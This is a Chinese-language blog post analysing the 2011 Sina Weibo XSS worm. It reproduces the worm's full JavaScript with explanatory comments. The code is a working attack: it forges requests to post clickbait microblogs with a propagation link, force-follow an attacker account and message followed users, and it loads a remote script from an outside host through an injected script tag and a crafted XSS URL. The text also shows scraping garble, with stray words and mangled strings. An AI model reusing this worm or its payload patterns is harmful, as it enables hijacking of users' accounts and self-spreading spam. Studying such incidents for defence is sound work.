逛酷壳看到2011年新浪那次比较大的XSS蠕虫传播事件,Post上给出了蠕虫的代码,正好最近实习须要在狂补前端的各类,正好拿来分析下,菜分析,牛无视。php
事件的通过线索以下:html
该蠕虫代码没什么难度,都是常规的一些请求伪造,分析目的就是为了在真实***事件中学习Xss Payload编写思路,分析过程简单的写到注释里了。前端
这个蠕虫的三大功能:web
发表微博->关注***者微博账号->遍历关注用户列表并发送私信数组
- function createXHR(){ //建立XMLHttp对象,没啥好说的
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getappkey(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false); //获取AppKey不采用异步执行,等待请求返回
- xmlHttp.send();
- result = xmlHttp.responseText;
- id_arr = '';
- id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
- //正则匹配出AppKey数组,包含每一个被收听用户的uid
- for(i=0;i<id.length;i++){
- sum = id[i].toString().split('"')[3];//从新提取整理
- id_arr += sum + '||';
- }
- return id_arr;
- }
- function random_msg(){
- link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
- //使用短地址服务,构造XSS传播链接
- //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/p_w_picpaths/t.js%3E%3C/script%3E?type=update
- //隐藏本身的恶意js脚本
- var msgs = [ //话题列表
- '郭美美事件的一些未注意到的细节:',
- '建党大业中穿帮的地方:',
- '让女人心动的100句诗歌:',
- '3D肉团团高清普通话版种子:',
- '这是传说中的神仙眷侣啊:',
- '惊爆!范冰冰艳照真流出了:',
- '杨幂被爆屡次被潜规则:',
- '傻仔拿锤子去抢银行:',
- '能够监听别人手机的软件:',
- '个税起征点有望提到4000:'];
- var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
- //随机选取话题,加上以前的传播链接做为微博内容
- msg = encodeURIComponent(msg); //对内容进行Url编码
- return msg;
- }
- function post(url,data,sync){ //Ajax部分,没啥可说的
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,sync);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function publish(){
- url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); //构造微博发表完成的Url
- data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; //使用random_msg生成随机话题
- post(url,data,true); //使用XmlHttpRequest发送请求
- }
- function follow(){
- url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); //自动关注的Url
- data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
- //使用当前页面存储的$CONFIG.$uid构造自动关注数据包
- post(url,data,true); //经过XMLHttpRequest发送请求
- }
- function message(){
- url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //构造用户关注用户列表页Url
- ids = getappkey(url); //获取被关注用户的Appkey数组
- id = ids.split('||'); //分割出每一个被关注用户的Appkey
- for(i=0;i<id.length - 1 & i<5;i++){
- //构造私信发送Url
- msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
- msg = random_msg();
- msg = encodeURIComponent(msg);
- user = encodeURIComponent(encodeURIComponent(id[i]));
- data = 'content=' + msg + '&name=' + user + '&retcode=';
- post(msgurl,data,false);//经过XmlHttpRequest发送请求
- }
- }
- function main(){
- try{
- publish(); //模拟发表微博
- }
- catch(e){}
- try{
- follow(); //模拟关注用户
- }
- catch(e){}
- try{
- message(); //模拟发送私信
- }
- catch(e){}
- }
- try{
- //在当前body尾部插入存放在远端的Xss恶意脚本
- x="g=document.createElement('script');g.src='http://www.2kt.cn/p_w_picpaths/t.js';document.body.appendChild(g)";window.opener.eval(x);
- }
- catch(e){}
- main();
- var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
- //等待5秒跳转到微话题页面
从Js中获取各类当前用户信息,没什么可涂的。并发